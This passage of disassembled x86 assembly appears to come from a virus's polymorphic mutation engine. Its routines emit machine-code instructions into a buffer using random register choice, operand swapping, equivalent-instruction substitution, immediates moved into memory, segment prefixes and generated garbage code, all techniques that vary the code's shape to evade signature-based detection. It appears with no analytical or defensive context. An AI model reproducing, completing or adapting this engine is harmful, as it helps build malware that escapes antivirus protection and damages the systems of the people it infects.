ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ call _Store_Instruction_Byte2 ; create unconditional jump (that jumps where the conditional jump was supposed to jump) ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ db 0E9h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_0_726 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_719: ; store 0F opcode call _Store_Instruction_Byte2 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ db 0Fh ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ mov al, 80h add al, bh call _Store_Instruction_Byte ; store conditional opcode (80..8F) loc_0_726: ; reserve byte call _Store_Instruction_Byte call _Store_Instruction_Byte ; reserve byte call _Copy_Instruction mov si, Instruction_Offset sub dx, si sub dx, D_CODEBASE mov es:[si-2], dx ; fix near jump loc_0_740: pop si pop dx pop ax retn Create_Jump endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Do_CALL proc near push dx ; (DX = target IP) push si call _Store_Instruction_Byte2 ; store Opcode byte ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ db 0E8h ; opcode 0xE8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ call _Store_Instruction_Byte ; reserve byte call _Store_Instruction_Byte ; reserve byte call _Copy_Instruction mov si, Instruction_Offset sub dx, si sub dx, D_CODEBASE mov es:[si-2], dx ; fix call instruction pop si pop dx retn Do_CALL endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Do_XCHG2 proc near push ax push edx push esi push edi call _getRND_in_DX cmp dh, 10h jnb loc_0_7B1 ; high probability to jump loc_0_778: call _getRND_in_DX jns loc_0_781 xchg esi, edi ; exchange order of operands loc_0_781: push cx call getRND_Reg_Not_Index ; get random reg mov dl, ch pop cx and edx, 7 ; EDX = auxiliar register cmp edx, esi jz loc_0_7B1 ; if same register, do a normal XCHG cmp edx, edi jz loc_0_7B1 ; if same register, do a normal XCHG xchg edx, esi call Do_XCHG ; auxiliar <--> target xchg edi, edx call Do_XCHG ; auxiliar <--> source xchg edi, edx call Do_XCHG ; auxiliar <--> target jmp short loc_0_7FB Do_XCHG2 endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Do_XCHG proc near push ax push edx push esi push edi loc_0_7B1: cmp esi, edi jz loc_0_7FB jb loc_0_7BB xchg esi, edi ; so that ESI < EDI loc_0_7BB: cmp esi, 8 jnb loc_0_778 ; jump if both operands are in memory call _Add_Needed_Prefix_66 ; if 32 bits, add 66h prefix cmp edi, 8 jnb loc_0_7E9 ; jump if only one operand is in memory cmp cl, 2 jb loc_0_7E0 ; if OperandSize=1 do a normal XCHG cmp esi, 0 jnz loc_0_7E0 ; jump if not AX/EAX xchg ax, di add ax, 90h ; short version of XCHG --> opcode 0x90 call _Store_Instruction_Byte ; store Opcode byte jmp short loc_0_7F7 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_7E0: call _getRND_in_DX jns loc_0_7E9 xchg esi, edi ; exchange order of operands loc_0_7E9: ; XCHG mov al, 86h call _Size_8_16 ; add one according to its size call _Store_Instruction_Byte call _Generate_ModRM loc_0_7F7: ; copy instruction to code segment call _Copy_Instruction loc_0_7FB: pop edi pop esi pop edx pop ax retn Do_XCHG endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; INPUT: ; BL = direction of operation ; BH = Operation ; CL = OperandSize ; ESI = source ; EDI = target Do_Instruction2 proc near push dx push ax call _getRND_in_DX mov ax, D_CS_I shr ax, 3 cmp dx, ax pop ax pop dx jnb Do_Instruction1 cmp bl, 4 jb Do_Instruction1 ; skip if not immediate cmp edi, 8 jnb Do_Instruction1 ; skip if target operand is not a register push edx push esi push cx mov ch, 0 xor edx, edx call _Allocate_Code_Space ; allocate space to store immediate xchg edi, edx xchg esi, edx ; EDX = immediate ; ESI = target operand ; EDI = offset to store immediate push di @@1: ; store immediate mov es:[di], dl inc di shr edx, 8 loop @@1 pop di ; DI = offset where immediate is stored pop cx add di, D_CODEBASE ; convert into IP or edi, 1060000h ; reference it as a memory access mov bl, 2 call Do_Instruction1 ; operation target,[immediate] mov bl, 4 mov edi, esi ; EDI = target operand pop esi pop edx retn Do_Instruction2 endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; INPUT: ; BL = direction of operation ; BH = Operation ; CL = OperandSize ; ESI = source ; EDI = target Do_Instruction1 proc near cmp SaveFlags, 0FFh jz Do_Instruction ; jump if segment prefix has already been stored cmp edi, esi jz Do_Instruction ; jump if operands are the same (both registers?) push dx push ax call _getRND_in_DX mov ax, D_CS_I shr ax, 2 cmp dx, ax pop ax pop dx jnb Do_Instruction push cx push edx call getRND_Reg_Not_Index ; get auxiliar reg mov dl, ch and edx, 7 cmp edx, esi jz @@2 ; if same register, do a normal operation cmp edx, edi jz @@2 ; if same register, do a normal operation cmp bl, 2 jz @@1 ; jump if ESI is the target xchg esi, edx ; ESI = auxiliar call _Do_XCHG2 ; target <--> auxiliar xchg esi, edx ; ESI = source xchg edi, edx ; EDI = auxiliar (contains value of target) call Do_Instruction ; (BL=0) --> operation auxiliar,source xchg edi, edx ; EDI = target xchg esi, edx ; ESI = auxiliar call _Do_XCHG2 ; target <--> auxiliar xchg esi, edx pop edx pop cx retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ @@1: ; EDI = auxiliar xchg edi, edx call _Do_XCHG2 ; source <--> auxiliar xchg edi, edx ; EDI = target xchg esi, edx ; ESI = auxiliar (contains value of source) call Do_Instruction ; (BL=2) --> operation target,auxiliar xchg esi, edx ; ESI = source xchg edi, edx ; EDI = auxiliar call _Do_XCHG2 ; source <--> auxiliar xchg edi, edx pop edx pop cx retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ @@2: pop edx pop cx Do_Instruction1 endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; INPUT: ; BL = direction of operation ; BH = Operation ; CL = OperandSize ; ESI = source ; EDI = target Do_Instruction proc near cmp cl, 2 jnz @@1 cmp bh, 0FFh jnz @@1 ; skip if operation is not MOV of 16 bits cmp edi, 8 jb @@15 ; jump if MOV operation and target is a word register @@1: push esi push eax call _Add_Needed_Prefix_66 cmp bl, 4 jnb @@6 ; jump if immediate mov al, 88h cmp bh, 0FFh jz @@4 ; jump if MOV operation mov al, 0 shl bh, 3 add al, bh ; AL = Opcode of operation shr bh, 3 add al, bl ; (direction of move) jmp @@10 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ @@2: test edi, 0FFFF0000h jnz @@9 ; jump if memory access (opcode 0xC6) mov al, 0B0h ; opcode 0xB0 cmp cl, 1 jz @@3 mov al, 0B8h ; opcode 0xB8 @@3: add ax, di call _Store_Instruction_Byte ; store Opcode byte jmp @@11 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ @@4: add al, bl or esi, esi jnz @@10 ; jump if not MOV with AL/AX/EAX push eax mov eax, edi shr eax, 10h cmp ax, 106h pop eax jnz @@10 ; jump if displacement has index call Insert_Needed_Prefix_Segment mov al, 0A0h add al, 2 sub al, bl ; AL = opcode 0xA0 / 0xA2 call _Size_8_16 ; add one according to its size call _Store_Instruction_Byte ; store Opcode byte mov ax, di call _Store_Instruction_Byte ; store low byte of 16-bit offset mov al, ah call _Store_Instruction_Byte ; store high byte of 16-bit offset jmp short @@14 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ @@5: ; (using AL/AX/EAX) mov al, 4 shl bh, 3 add al, bh ; AL = Opcode shr bh, 3 call _Size_8_16 ; add one according to its size call _Store_Instruction_Byte ; store Opcode byte jmp short @@11 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ @@6: ; ESI = immediate push esi mov al, 0C6h xor si, si cmp bh, 0FFh jz @@2 ; jump if operation is a MOV or edi, edi jz @@5 ; jump of working with AL/AX/EAX mov al, 80h ; opcode 0x80 cmp cl, 1 jz @@8 ; skip if OperandSize = 1 pop esi push esi cmp cl, 4 jz @@7 movsx esi, si ; sign extend to 32 bits @@7: add esi, 80h test esi, 0FFFFFF00h jnz @@8 ; jump if outside (-128..+127) mov al, 82h ; opcode 0x82 (later will be added 1) or cl, 80h ; indicate its a sign extend @@8: mov si, bx @@9: ; SI = 0..7 = operation shr si, 8 @@10: ; add one according to its size call _Size_8_16 call _Store_Instruction_Byte ; store Opcode byte call _Generate_ModRM ; create ModRM byte cmp bl, 4 jb @@14 ; skip if not immediate @@11: ; EAX = immediate pop eax push cx test cl, 80h jz @@12 mov cl, 1 ; 8-bit signed immediate is one byte long @@12: mov ch, 0 @@13: ; store immediate call _Store_Instruction_Byte shr eax, 8 loop @@13 pop cx and cl, 7Fh ; delete sign indication @@14: ; copy instruction to code segment call _Copy_Instruction pop eax pop esi retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ @@15: push dx call _getRND_in_DX cmp dh, 40h pop dx jnb @@1 ; do MOV instruction cmp bl, 4 jnb @@20 ; if immediate, do LEA instruction push ax push dx mov ax, si ; source operand (=register) mov dx, di ; target operand (=register) cmp bl, 0 jz @@16 xchg ax, dx ; exchange operands @@16: shl dl, 3 mov dh, 7 ; mod=0 , r_m=7 cmp al, 3 ; BX jz @@17 mov dh, 4 ; mod=0 , r_m=4 cmp al, 6 ; SI jz @@17 mov dh, 5 ; mod=0 , r_m=5 cmp al, 7 ; DI jz @@17 mov dh, 46h ; mod=1 , r_m=6 cmp al, 5 ; BP jz @@17 pop dx pop ax jmp @@1 ; do MOV instruction ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ @@17: ; LEA target, [source] call _Store_Instruction_Byte2 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ db 8Dh ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ mov al, dh or al, dl call _Store_Instruction_Byte ; store ModRM byte cmp dh, 46h jnz @@18 call _Store_Instruction_Byte2 ; store a zero in case of [BP+00] ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ db 0 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ @@18: pop dx @@19: pop ax call _Copy_Instruction ; copy instruction to code segment retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ @@20: ; LEA instruction push ax mov ax, di shl al, 3 call _Store_Instruction_Byte2 ; store opcode 0x8D ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ db 8Dh ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ or al, 6 call _Store_Instruction_Byte ; store ModRM byte mov ax, si call _Store_Instruction_Byte ; store low byte of 16-bit offset mov al, ah call _Store_Instruction_Byte ; store high byte of 16-bit offset jmp short @@19 Do_Instruction endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Do_PUSH proc near push si push ax call _Add_Needed_Prefix_66 cmp cl, 1 jz @@1 ; jump if OperandSize=1 cmp edi, 8 jnb @@1 ; jump if operand is not register mov al, 50h ; opcode 0x50 add ax, di call _Store_Instruction_Byte ; store Opcode byte jmp short @@2 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ @@1: ; store Opcode byte call _Store_Instruction_Byte2 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ db 0FFh ; group 0xFF ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ mov si, 6 ; PUSH r_m (from group 0xFF) call _Generate_ModRM @@2: ; copy instruction to code segment call _Copy_Instruction pop ax pop si retn Do_PUSH endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Do_POP proc near push si call _Add_Needed_Prefix_66 cmp cl, 1 jz @@1 ; jump if OperandSize=1 cmp edi, 8 jnb @@1 ; jump if operand is not register mov al, 58h ; opcode 0x58 add ax, di call _Store_Instruction_Byte ; store Opcode byte jmp short @@2 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ @@1: ; store Opcode byte call _Store_Instruction_Byte2 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ db 8Fh ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ mov si, 0 ; POP r_m call _Generate_ModRM @@2: ; copy instruction to code segment call _Copy_Instruction pop si retn Do_POP endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Do_INC proc near push si push ax call _Add_Needed_Prefix_66 cmp cl, 1 jz @@1 ; jump if OperandSize=1 cmp edi, 8 jnb @@1 ; jump if operand is not register mov al, 40h ; opcode 0x40 add ax, di call _Store_Instruction_Byte ; store Opcode byte jmp short @@2 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ @@1: ; group 0xFE mov al, 0FEh call _Size_8_16 ; add one according to its size call _Store_Instruction_Byte mov si, 0 ; INC r_m call _Generate_ModRM @@2: ; copy instruction to code segment call _Copy_Instruction pop ax pop si retn Do_INC endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Do_DEC proc near push si push ax call _Add_Needed_Prefix_66 cmp cl, 1 jz @@1 ; jump if OperandSize=1 cmp edi, 8 jnb @@1 ; jump if operand is not register mov al, 48h ; opcode 0x48 add ax, di call _Store_Instruction_Byte ; store Opcode byte jmp short @@2 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ @@1: ; group 0xFE mov al, 0FEh call _Size_8_16 ; add one according to its size call _Store_Instruction_Byte mov si, 1 ; DEC r_m call _Generate_ModRM @@2: ; copy instruction to code segment call _Copy_Instruction pop ax pop si retn Do_DEC endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Do_INC2 proc near call _Generate_4times_Garbage push dx call _getRND_in_DX cmp dl, 30h pop dx ja Do_INC push bx push esi mov bh, 0 ; operation = ADD mov bl, 4 ; source is immediate mov esi, 1 ; source = 1 call _Do_Instruction5 ; generate instruction (with garbage) pop esi pop bx retn Do_INC2 endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Do_DEC2 proc near call _Generate_4times_Garbage push dx call _getRND_in_DX cmp dl, 30h pop dx ja Do_DEC push bx push esi mov bh, 5 ; operation = SUB mov bl, 4 ; source is immediate mov esi, 1 ; source = 1 call _Do_Instruction5 ; generate instruction (with garbage) pop esi pop bx retn Do_DEC2 endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Do_NEG proc near push si push ax call _Add_Needed_Prefix_66 mov al, 0F6h ; group 0xF6 call _Size_8_16 ; add one according to its size call _Store_Instruction_Byte ; store Opcode byte mov si, 3 ; NEG r_m call _Generate_ModRM call _Copy_Instruction ; copy instruction to code segment pop ax pop si retn Do_NEG endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Do_NOT proc near push si push ax call _Add_Needed_Prefix_66 mov al, 0F6h ; group 0xF6 call _Size_8_16 ; add one according to its size call _Store_Instruction_Byte mov si, 2 ; NOT r_m call _Generate_ModRM call _Copy_Instruction ; copy instruction to code segment pop ax pop si retn Do_NOT endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Store_Segment_Prefix proc near push ax cmp al, 4 jnb @@1 shl al, 3 add al, 26h ; select ES,CS,SS,DS jmp short @@2 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ @@1: ; select FS,GS add al, 60h @@2: call _Store_Instruction_Byte pop ax mov SaveFlags, 0FFh ; indicate a prefix has been generated retn Store_Segment_Prefix endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Do_MOV_mem_seg proc near cmp SaveFlags, 0FFh ; (is prefix seg has been generated, we cannot continue with a PUSH seg) jz @@1 call _getRND_in_DX cmp dh, 40h jb @@2 @@1: ; MOV reg/mem,seg call _Store_Instruction_Byte2 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ db 8Ch ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ call _Generate_ModRM call _Copy_Instruction retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ @@2: push ax push cx mov ax, si shl al, 3 or al, 6 cmp al, 20h jb @@3 ; skip if not FS / GS call _Store_Instruction_Byte2 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ db 0Fh ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ and al, 38h or al, 80h @@3: ; PUSH seg call _Store_Instruction_Byte call _Copy_Instruction mov cl, 2 call Do_POP ; pop reg/mem pop cx pop ax retn Do_MOV_mem_seg endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Do_MOV_seg_mem proc near cmp SaveFlags, 0FFh jz @@1 cmp si, 1 ; POP CS cannot be generated, only MOV CS,reg/mem jz @@1 call _getRND_in_DX cmp dh, 40h jb @@2 @@1: call _Store_Instruction_Byte2 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ db 8Eh ; MOV seg,reg/mem ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ call _Generate_ModRM call _Copy_Instruction retn ; 